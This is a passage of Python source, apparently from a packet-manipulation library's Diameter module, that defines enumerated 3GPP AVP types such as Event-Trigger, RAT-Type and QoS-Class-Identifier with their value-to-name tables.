AVP_10415_717 (AVP_FL_V): name = 'Pre-paging-Supported' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PREPAGING_NOT_SUPPORTED", 1: "PREPAGING_SUPPORTED", })] # noqa: E501 class AVP_10415_718 (AVP_FL_V): name = 'Local-Time-Zone-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "ONLY_LOCAL_TIME_ZONE_REQUESTED", 1: "LOCAL_TIME_ZONE_WITH_LOCATION_INFO_REQUESTED", })] # noqa: E501 class AVP_10415_829 (AVP_FL_V): name = 'Role-Of-Node' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "HPLMN", 1: "VPLMN", 2: "FORWARDING_ROLE", })] # noqa: E501 class AVP_10415_862 (AVP_FL_V): name = 'Node-Functionality' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "S-CSCF", 1: "P-CSCF", 2: "I-CSCF", 5: "BGCF", 6: "AS", 7: "IBCF", 8: "S-GW", 9: "P-GW", 10: "HSGW", 11: "E-CSCF ", 12: "MME ", 13: "TRF", 14: "TF", 15: "ATCF", 16: "Proxy Function", 17: "ePDG", })] class AVP_10415_864 (AVP_FL_V): name = 'Originator' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Calling Party", 1: "Called Party", })] # noqa: E501 class AVP_10415_867 (AVP_FL_V): name = 'PS-Append-Free-Format-Data' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "'Append' ", 1: "'Overwrite' ", })] # noqa: E501 class AVP_10415_870 (AVP_FL_V): name = 'Trigger-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {1: "CHANGE_IN_SGSN_IP_ADDRESS ", 2: "CHANGE_IN_QOS", 3: "CHANGE_IN_LOCATION", 4: "CHANGE_IN_RAT", 5: "CHANGE_IN_UE_TIMEZONE", 10: "CHANGEINQOS_TRAFFIC_CLASS", 11: "CHANGEINQOS_RELIABILITY_CLASS", 12: "CHANGEINQOS_DELAY_CLASS", 13: "CHANGEINQOS_PEAK_THROUGHPUT", 14: "CHANGEINQOS_PRECEDENCE_CLASS", 15: "CHANGEINQOS_MEAN_THROUGHPUT", 16: "CHANGEINQOS_MAXIMUM_BIT_RATE_FOR_UPLINK", 17: "CHANGEINQOS_MAXIMUM_BIT_RATE_FOR_DOWNLINK", 18: "CHANGEINQOS_RESIDUAL_BER", 19: "CHANGEINQOS_SDU_ERROR_RATIO", 20: "CHANGEINQOS_TRANSFER_DELAY", 21: "CHANGEINQOS_TRAFFIC_HANDLING_PRIORITY", 22: "CHANGEINQOS_GUARANTEED_BIT_RATE_FOR_UPLINK", # noqa: E501 23: "CHANGEINQOS_GUARANTEED_BIT_RATE_FOR_DOWNLINK", # noqa: E501 24: "CHANGEINQOS_APN_AGGREGATE_MAXIMUM_BIT_RATE", # noqa: E501 30: "CHANGEINLOCATION_MCC", 31: "CHANGEINLOCATION_MNC", 32: "CHANGEINLOCATION_RAC", 33: "CHANGEINLOCATION_LAC", 34: "CHANGEINLOCATION_CellId", 35: "CHANGEINLOCATION_TAC", 36: "CHANGEINLOCATION_ECGI", 40: "CHANGE_IN_MEDIA_COMPOSITION", 50: "CHANGE_IN_PARTICIPANTS_NMB", 51: "CHANGE_IN_ THRSHLD_OF_PARTICIPANTS_NMB", 52: "CHANGE_IN_USER_PARTICIPATING_TYPE", 60: "CHANGE_IN_SERVICE_CONDITION", 61: "CHANGE_IN_SERVING_NODE", 70: "CHANGE_IN_USER_CSG_INFORMATION", 71: "CHANGE_IN_HYBRID_SUBSCRIBED_USER_CSG_INFORMATION", # noqa: E501 72: "CHANGE_IN_HYBRID_UNSUBSCRIBED_USER_CSG_INFORMATION", # noqa: E501 73: "CHANGE_OF_UE_PRESENCE_IN_PRESENCE_REPORTING_AREA", # noqa: E501 })] class AVP_10415_872 (AVP_FL_V): name = 'Reporting-Reason' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "THRESHOLD", 1: "QHT", 2: "FINAL", 3: "QUOTA_EXHAUSTED", 4: "VALIDITY_TIME", 5: "OTHER_QUOTA_TYPE", 6: "RATING_CONDITION_CHANGE", 7: "FORCED_REAUTHORISATION", 8: "POOL_EXHAUSTED", })] class AVP_10415_882 (AVP_FL_V): name = 'Media-Initiator-Flag' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "called party", 1: "calling party", 2: "unknown", })] # noqa: E501 class AVP_10415_883 (AVP_FL_V): name = 'PoC-Server-Role' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Participating PoC Server", 1: "Controlling PoC Server", })] # noqa: E501 class AVP_10415_884 (AVP_FL_V): name = 'PoC-Session-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "1 to 1 PoC session", 1: "Chat PoC group session", 2: "Pre-arranged PoC group session", 3: "Ad-hoc PoC group session", })] class AVP_10415_899 (AVP_FL_V): name = 'Address-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "e-mail address", 1: "MSISDN", 2: "IPv4 Address", 3: "IPv6 Address", 4: "Numeric Shortcode", 5: "Alphanumeric Shortcode", 6: "Other", 7: "IMSI", })] class AVP_10415_902 (AVP_FL_V): name = 'MBMS-StartStop-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "START", 1: "STOP", 2: "UPDATE", })] # noqa: E501 class AVP_10415_906 (AVP_FL_V): name = 'MBMS-Service-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "MULTICAST", 1: "BROADCAST", })] class AVP_10415_907 (AVP_FL_V): name = 'MBMS-2G-3G-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "2G", 1: "3G", 2: "2G-AND-3G", })] # noqa: E501 class AVP_10415_921 (AVP_FL_V): name = 'CN-IP-Multicast-Distribution' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NO-IP-MULTICAST", 1: "IP-MULTICAST", })] # noqa: E501 class AVP_10415_922 (AVP_FL_V): name = 'MBMS-HC-Indicator' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "uncompressed-header", 1: "compressed-header", })] # noqa: E501 class AVP_10415_1000 (AVP_FL_V): name = 'Bearer-Usage' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "GENERAL", 1: "IMS SIGNALLING", 2: "DEDICATED", })] # noqa: E501 class AVP_10415_1006 (AVP_FL_V): name = 'Event-Trigger' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "SGSN_CHANGE", 1: "QOS_CHANGE", 2: "RAT_CHANGE", 3: "TFT_CHANGE", 4: "PLMN_CHANGE", 5: "LOSS_OF_BEARER", 6: "RECOVERY_OF_BEARER", 7: "IP-CAN_CHANGE", 8: "GW-PCEF-MALFUNCTION", 9: "RESOURCES_LIMITATION", 10: "MAX_NR_BEARERS_REACHED", 11: "QOS_CHANGE_EXCEEDING_AUTHORIZATION", 12: "RAI_CHANGE", 13: "USER_LOCATION_CHANGE", 14: "NO_EVENT_TRIGGERS", 15: "OUT_OF_CREDIT", 16: "REALLOCATION_OF_CREDIT", 17: "REVALIDATION_TIMEOUT", 18: "UE_IP_ADDRESS_ALLOCATE", 19: "UE_IP_ADDRESS_RELEASE", 20: "DEFAULT_EPS_BEARER_QOS_CHANGE", 21: "AN_GW_CHANGE", 22: "SUCCESSFUL_RESOURCE_ALLOCATION", 23: "RESOURCE_MODIFICATION_REQUEST", 24: "PGW_TRACE_CONTROL", 25: "UE_TIME_ZONE_CHANGE", 26: "TAI_CHANGE", 27: "ECGI_CHANGE", 28: "CHARGING_CORRELATION_EXCHANGE", 29: "APN-AMBR_MODIFICATION_FAILURE", 30: "USER_CSG_INFORMATION_CHANGE", 33: "USAGE_REPORT", 34: "DEFAULT-EPS-BEARER-QOS_MODIFICATION_FAILURE", 35: "USER_CSG_HYBRID_SUBSCRIBED_INFORMATION_CHANGE", 36: "USER_CSG_ HYBRID_UNSUBSCRIBED_INFORMATION_CHANGE", 37: "ROUTING_RULE_CHANGE", 38: "MAX_MBR_APN_AMBR_CHANGE", 39: "APPLICATION_START", 40: "APPLICATION_STOP", 41: "ADC_REVALIDATION_TIMEOUT", 42: "CS_TO_PS_HANDOVER", 43: "UE_LOCAL_IP_ADDRESS_CHANGE", 45: "ACCESS_NETWORK_INFO_REPORT", 100: "TIME_CHANGE", 1000: "TFT DELETED", 1001: "LOSS OF BEARER", 1002: "RECOVERY OF BEARER", 1003: "POLICY ENFORCEMENT FAILED", })] class AVP_10415_1007 (AVP_FL_V): name = 'Metering-Method' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DURATION", 1: "VOLUME", 2: "DURATION_VOLUME", })] # noqa: E501 class AVP_10415_1008 (AVP_FL_V): name = 'Offline' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DISABLE_OFFLINE", 1: "ENABLE_OFFLINE", })] # noqa: E501 class AVP_10415_1009 (AVP_FL_V): name = 'Online' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DISABLE_ONLINE", 1: "ENABLE_ONLINE", })] # noqa: E501 class AVP_10415_1011 (AVP_FL_V): name = 'Reporting-Level' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "SERVICE_IDENTIFIER_LEVEL", 1: "RATING_GROUP_LEVEL", 2: "SPONSORED_CONNECTIVITY_LEVEL", })] # noqa: E501 class AVP_10415_1015 (AVP_FL_V): name = 'PDP-Session-Operation' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "PDP-SESSION-TERMINATION", })] class AVP_10415_1019 (AVP_FL_V): name = 'PCC-Rule-Status' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "ACTIVE", 1: "INACTIVE", 2: "TEMPORARY_INACTIVE", })] # noqa: E501 class AVP_10415_1021 (AVP_FL_V): name = 'Bearer-Operation' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "TERMINATION", 1: "ESTABLISHMENT", 2: "MODIFICATION", })] # noqa: E501 class AVP_10415_1023 (AVP_FL_V): name = 'Bearer-Control-Mode' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "UE_ONLY", 1: "RESERVED", 2: "UE_NW", })] # noqa: E501 class AVP_10415_1024 (AVP_FL_V): name = 'Network-Request-Support' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NETWORK_REQUEST NOT SUPPORTED", 1: "NETWORK_REQUEST SUPPORTED", })] # noqa: E501 class AVP_10415_1027 (AVP_FL_V): name = 'IP-CAN-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "3GPP-GPRS", 1: "DOCSIS", 2: "xDSL", 3: "WiMAX", 4: "3GPP2", 5: "3GPP-EPS", 6: "Non-3GPP-EPS", })] class AVP_10415_1028 (AVP_FL_V): name = 'QoS-Class-Identifier' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 1: "QCI_1", 2: "QCI_2", 3: "QCI_3", 4: "QCI_4", 5: "QCI_5", 6: "QCI_6", 7: "QCI_7", 8: "QCI_8", 9: "QCI_9", })] class AVP_10415_1032 (AVP_FL_V): name = 'RAT-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "WLAN", 1: "VIRTUAL", 1000: "UTRAN", 1001: "GERAN", 1002: "GAN", 1003: "HSPA_EVOLUTION", 1004: "EUTRAN", 2000: "CDMA2000_1X", 2001: "HRPD", 2002: "UMB", 2003: "EHRPD", })] class AVP_10415_1045 (AVP_FL_V): name = 'Session-Release-Cause' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "UNSPECIFIED_REASON", 1: "UE_SUBSCRIPTION_REASON", 2: "INSUFFICIENT_SERVER_RESOURCES", })] # noqa: E501 class AVP_10415_1047 (AVP_FL_V): name = 'Pre-emption-Capability' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "PRE-EMPTION_CAPABILITY_ENABLED", 1: "PRE-EMPTION_CAPABILITY_DISABLED", })] # noqa: E501 class AVP_10415_1048 (AVP_FL_V): name = 'Pre-emption-Vulnerability' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "PRE-EMPTION_VULNERABILITY_ENABLED", 1: "PRE-EMPTION_VULNERABILITY_DISABLED", })] # noqa: E501 class AVP_10415_1062 (AVP_FL_V): name = 'Packet-Filter-Operation' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "DELETION", 1: "ADDITION", 2: "MODIFICATION", })] class AVP_10415_1063 (AVP_FL_V): name = 'Resource-Allocation-Notification' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ENABLE_NOTIFICATION", })] class AVP_10415_1068 (AVP_FL_V): name = 'Usage-Monitoring-Level' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "SESSION_LEVEL", 1: "PCC_RULE_LEVEL", 2: "ADC_RULE_LEVEL", })] # noqa: E501 class AVP_10415_1069 (AVP_FL_V): name = 'Usage-Monitoring-Report' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "USAGE_MONITORING_REPORT_REQUIRED", })] # noqa: E501 class AVP_10415_1070 (AVP_FL_V): name = 'Usage-Monitoring-Support' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "USAGE_MONITORING_DISABLED", })] class AVP_10415_1071 (AVP_FL_V): name = 'CSG-Information-Reporting' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "CHANGE_CSG_CELL", 1: "CHANGE_CSG_SUBSCRIBED_HYBRID_CELL", 2: "CHANGE_CSG_UNSUBSCRIBED_HYBRID_CELL", })] class AVP_10415_1072 (AVP_FL_V): name = 'Packet-Filter-Usage' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {1: "SEND_TO_UE", })] class AVP_10415_1073 (AVP_FL_V): name = 'Charging-Correlation-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "CHARGING_IDENTIFIER_REQUIRED", })] # noqa: E501 class AVP_10415_1080 (AVP_FL_V): name = 'Flow-Direction' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "UNSPECIFIED", 1: "DOWNLINK", 2: "UPLINK", 3: "BIDIRECTIONAL", })] # noqa: E501 class AVP_10415_1086 (AVP_FL_V): name = 'Redirect-Support' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "REDIRECTION_DISABLED", 1: "REDIRECTION_ENABLED", })] # noqa: E501 class AVP_10415_1099 (AVP_FL_V): name = 'PS-to-CS-Session-Continuity' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "VIDEO_PS2CS_CONT_CANDIDATE", })] class AVP_10415_1204 (AVP_FL_V): name = 'Type-Number' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "TBC", })] class AVP_10415_1208 (AVP_FL_V): name = 'Addressee-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "TO ", 1: "CC ", 2: "BCC", })] class AVP_10415_1209 (AVP_FL_V): name = 'Priority' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Low", 1: "Normal", 2: "High", })] class AVP_10415_1211 (AVP_FL_V): name = 'Message-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 1: "m-send-req", 2: "m-send-conf", 3: "m-notification-ind ", 4: "m-notifyresp-ind ", 5: "m-retrieve-conf ", 6: "m-acknowledge-ind ", 7: "m-delivery-ind ", 8: "m-read-rec-ind ", 9: "m-read-orig-ind", 10: "m-forward-req ", 11: "m-forward-conf ", 12: "m-mbox-store-conf", 13: "m-mbox-view-conf ", 14: "m-mbox-upload-conf ", 15: "m-mbox-delete-conf ", })] class AVP_10415_1214 (AVP_FL_V): name = 'Class-Identifier' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Personal", 1: "Advertisement", 2: "Informational", 3: "Auto", })] # noqa: E501 class AVP_10415_1216 (AVP_FL_V): name = 'Delivery-Report-Requested' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })] class AVP_10415_1217 (AVP_FL_V): name = 'Adaptations' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Yes", 1: "No", })] class AVP_10415_1220 (AVP_FL_V): name = 'Content-Class' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "text ", 1: "image-basic ", 2: "image-rich ", 3: "video-basic", 4: "video-rich ", 5: "megapixel ", 6: "content-basic ", 7: "content-rich ", })] class AVP_10415_1221 (AVP_FL_V): name = 'DRM-Content' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })] class AVP_10415_1222 (AVP_FL_V): name = 'Read-Reply-Report-Requested' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })] class AVP_10415_1224 (AVP_FL_V): name = 'File-Repair-Supported' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Forwarding not pending", 1: "Forwarding pending", 2: "NOT_SUPPORTED", })] # noqa: E501 class AVP_10415_1225 (AVP_FL_V): name = 'MBMS-User-Service-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {1: "DOWNLOAD", 2: "STREAMING", })] class AVP_10415_1247 (AVP_FL_V): name = 'PDP-Context-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Primary", 1: "Secondary", })] class AVP_10415_1248 (AVP_FL_V): name = 'MMBox-Storage-Requested' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })] class AVP_10415_1254 (AVP_FL_V): name = 'PoC-User-Role-info-Units' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 1: "Moderator", 2: "Dispatcher", 3: "Session-Owner", 4: "Session-Participant", })] # noqa: E501 class AVP_10415_1259 (AVP_FL_V): name = 'Participant-Access-Priority' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 1: "Pre-emptive priority: ", 2: "High priority: Lower than Pre-emptive priority", 3: "Normal priority: Normal level. Lower than High priority", 4: "Low priority: Lowest level priority", })] class AVP_10415_1261 (AVP_FL_V): name = 'PoC-Change-Condition' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "ServiceChange", 1: "VolumeLimit", 2: "TimeLimit", 3: "NumberofTalkBurstLimit", 4: "NumberofActiveParticipants", })] class AVP_10415_1268 (AVP_FL_V): name = 'Envelope-Reporting' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "DO_NOT_REPORT_ENVELOPES", 1: "REPORT_ENVELOPES", 2: "REPORT_ENVELOPES_WITH_VOLUME", 3: "REPORT_ENVELOPES_WITH_EVENTS", 4: "REPORT_ENVELOPES_WITH_VOLUME_AND_EVENTS", })] class AVP_10415_1271 (AVP_FL_V): name = 'Time-Quota-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DISCRETE_TIME_PERIOD", 1: "CONTINUOUS_TIME_PERIOD", })] # noqa: E501 class AVP_10415_1277 (AVP_FL_V): name = 'PoC-Session-Initiation-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Pre-established", 1: "On-demand", })] # noqa: E501 class AVP_10415_1279 (AVP_FL_V): name = 'User-Participating-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Normal", 1: "NW PoC Box", 2: "UE PoC Box", })] class AVP_10415_1417 (AVP_FL_V): name = 'Network-Access-Mode' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PACKET_AND_CIRCUIT", 1: "Reserved", 2: "ONLY_PACKET", })] # noqa: E501 class AVP_10415_1420 (AVP_FL_V): name = 'Cancellation-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "MME_UPDATE_PROCEDURE", 1: "SGSN_UPDATE_PROCEDURE", 2: "SUBSCRIPTION_WITHDRAWAL", 3: "UPDATE_PROCEDURE_IWF", 4: "INITIAL_ATTACH_PROCEDURE", })] class AVP_10415_1424 (AVP_FL_V): name = 'Subscriber-Status' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "SERVICE_GRANTED", 1: "OPERATOR_DETERMINED_BARRING", })] # noqa: E501 class AVP_10415_1428 (AVP_FL_V): name = 'All-APN-Configurations-Included-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ALL_APN_CONFIGURATIONS_INCLUDED", })] # noqa: E501 class AVP_10415_1432 (AVP_FL_V): name = 'VPLMN-Dynamic-Address-Allowed' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NOTALLOWED", 1: "ALLOWED", })] class AVP_10415_1434 (AVP_FL_V): name = 'Alert-Reason' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "UE_PRESENT", 1: "UE_MEMORY_AVAILABLE", })] # noqa: E501 class AVP_10415_1438 (AVP_FL_V): name = 'PDN-GW-Allocation-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "STATIC", 1: "DYNAMIC", })] class AVP_10415_1445 (AVP_FL_V): name = 'Equipment-Status' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "WHITELISTED", 1: "BLACKLISTED", 2: "GREYLISTED", })] # noqa: E501 class AVP_10415_1456 (AVP_FL_V): name = 'PDN-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "IPv4", 1: "IPv6", 2: "IPv4v6", 3: "IPv4_OR_IPv6", })] # noqa: E501 class AVP_10415_1457 (AVP_FL_V): name = 'Roaming-Restricted-Due-To-Unsupported-Feature' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Roaming-Restricted-Due-To-Unsupported-Feature", })] # noqa: E501 class AVP_10415_1462 (AVP_FL_V): name = 'Trace-Depth' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Minimum", 1: "Medium", 2: "Maximum", 3: "MinimumWithoutVendorSpecificExtension", 4: "MediumWithoutVendorSpecificExtension", 5: "MaximumWithoutVendorSpecificExtension", })] class AVP_10415_1468 (AVP_FL_V): name = 'Complete-Data-List-Included-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ALL_PDP_CONTEXTS_INCLUDED", })] class AVP_10415_1478 (AVP_FL_V): name = 'Notification-To-UE-User' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "NOTIFY_LOCATION_ALLOWED", 1: "NOTIFYANDVERIFY_LOCATION_ALLOWED_IF_NO_RESPONSE", 2: "NOTIFYANDVERIFY_LOCATION_NOT_ALLOWED_IF_NO_RESPONSE", 3: "LOCATION_NOT_ALLOWED", })] class AVP_10415_1481 (AVP_FL_V): name = 'GMLC-Restriction' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "GMLC_LIST", 1: "HOME_COUNTRY", })] # noqa: E501 class AVP_10415_1482 (AVP_FL_V): name = 'PLMN-Client' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "BROADCAST_SERVICE", 1: "O_AND_M_HPLMN", 2: "O_AND_M_VPLMN", 3: "ANONYMOUS_LOCATION", 4: "TARGET_UE_SUBSCRIBED_SERVICE", })] class AVP_10415_1491 (AVP_FL_V): name = 'ICS-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "FALSE", 1: "TRUE", })] class AVP_10415_1492 (AVP_FL_V): name = 'IMS-Voice-Over-PS-Sessions-Supported' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NOT_SUPPORTED", 1: "SUPPORTED", })] # noqa: E501 class AVP_10415_1493 (AVP_FL_V): name = 'Homogeneous-Support-of-IMS-Voice-Over-PS-Sessions' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NOT_SUPPORTED", 1: "SUPPORTED", })] # noqa: E501 class AVP_10415_1499 (AVP_FL_V): name = 'User-State' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DETACHED", 1: "ATTACHED_NOT_REACHABLE_FOR_PAGING", 2: "ATTACHED_REACHABLE_FOR_PAGING", 3: "CONNECTED_NOT_REACHABLE_FOR_PAGING", 4: "CONNECTED_REACHABLE_FOR_PAGING", 5: "NETWORK_DETERMINED_NOT_REACHABLE", })] class AVP_10415_1501 (AVP_FL_V): name = 'Non-3GPP-IP-Access' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "NON_3GPP_SUBSCRIPTION_ALLOWED", 1: "NON_3GPP_SUBSCRIPTION_BARRED", })] # noqa: E501 class AVP_10415_1502 (AVP_FL_V): name = 'Non-3GPP-IP-Access-APN' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NON_3GPP_APNS_ENABLE", 1: "NON_3GPP_APNS_DISABLE", })] # noqa: E501 class AVP_10415_1503 (AVP_FL_V): name = 'AN-Trusted' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "TRUSTED", 1: "UNTRUSTED", })] class AVP_10415_1515 (AVP_FL_V): name = 'Trust-Relationship-Update' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "TBC", })] class AVP_10415_1519 (AVP_FL_V): name = 'Transport-Access-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "BBF", })] class AVP_10415_1610 (AVP_FL_V): name = 'Current-Location-Retrieved' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ACTIVE-LOCATION-RETRIEVAL", })] class AVP_10415_1613 (AVP_FL_V): name = 'SIPTO-Permission' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "SIPTO_ALLOWED", 1: "SIPTO_NOTALLOWED", })] # noqa: E501 class AVP_10415_1614 (AVP_FL_V): name = 'Error-Diagnostic' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "GPRS_DATA_SUBSCRIBED", 1: "NO_GPRS_DATA_SUBSCRIBED", 2: "ODB-ALL-APN", 3: "ODB-HPLMN-APN", 4: "ODB-VPLMN-APN", })] class AVP_10415_1615 (AVP_FL_V): name = 'UE-SRVCC-Capability' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "UE-SRVCC-NOT-SUPPORTED", 1: "UE-SRVCC-SUPPORTED", })] # noqa: E501 class AVP_10415_1617 (AVP_FL_V): name = 'VPLMN-LIPA-Allowed' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "LIPA-NOTALLOWED", 1: "LIPA-ALLOWED", })] # noqa: E501 class AVP_10415_1618 (AVP_FL_V): name = 'LIPA-Permission' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "LIPA-PROHIBITED", 1: "LIPA-ONLY", 2: "LIPA-CONDITIONAL", })] # noqa: E501 class AVP_10415_1623 (AVP_FL_V): name = 'Job-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Immediate-MDT-only", 1: "Logged-MDT-only", 2: "Trace-only", 3: "Immediate-MDT-and-Trace", 4: "RLF-reports-only", })] class AVP_10415_1627 (AVP_FL_V): name = 'Report-Interval' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "UMTS_250_ms", 1: "UMTS_500_ms", 2: "UMTS_1000_ms", 3: "UMTS_2000_ms", 4: "UMTS_3000_ms", 5: "UMTS_4000_ms", 6: "UMTS_6000_ms", 7: "UMTS_8000_ms", 8: "UMTS_12000_ms", 9: "UMTS_16000_ms", 10: "UMTS_20000_ms", 11: "UMTS_24000_ms", 12: "UMTS_28000_ms", 13: "UMTS_32000_ms", 14: "UMTS_64000_ms", 15: "LTE_120_ms", 16: "LTE_240_ms", 17: "LTE_480_ms", 18: "LTE_640_ms", 19: "LTE_1024_ms", 20: "LTE_2048_ms", 21: "LTE_5120_ms", 22: "LTE_10240_ms", 23: "LTE_60000_ms", 24: "LTE_360000_ms", 25: "LTE_720000_ms", 26: "LTE_1800000_ms", 27: "LTE_3600000_ms", })] class AVP_10415_1628 (AVP_FL_V): name = 'Report-Amount' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "1", 1: "2", 2: "4", 3: "8", 4: "16", 5: "32", 6: "64", 7: "infinity", })] # noqa: E501 class AVP_10415_1631 (AVP_FL_V): name = 'Logging-Interval' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "1.28", 1: "2.56", 2: "5.12", 3: "10.24", 4: "20.48", 5: "30.72", 6: "40.96", 7: "61.44", })] class AVP_10415_1632 (AVP_FL_V): name = 'Logging-Duration' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "600_sec", 1: "1200_sec", 2: "2400_sec", 3: "3600_sec", 4: "5400_sec", 5: "7200_sec", })] # 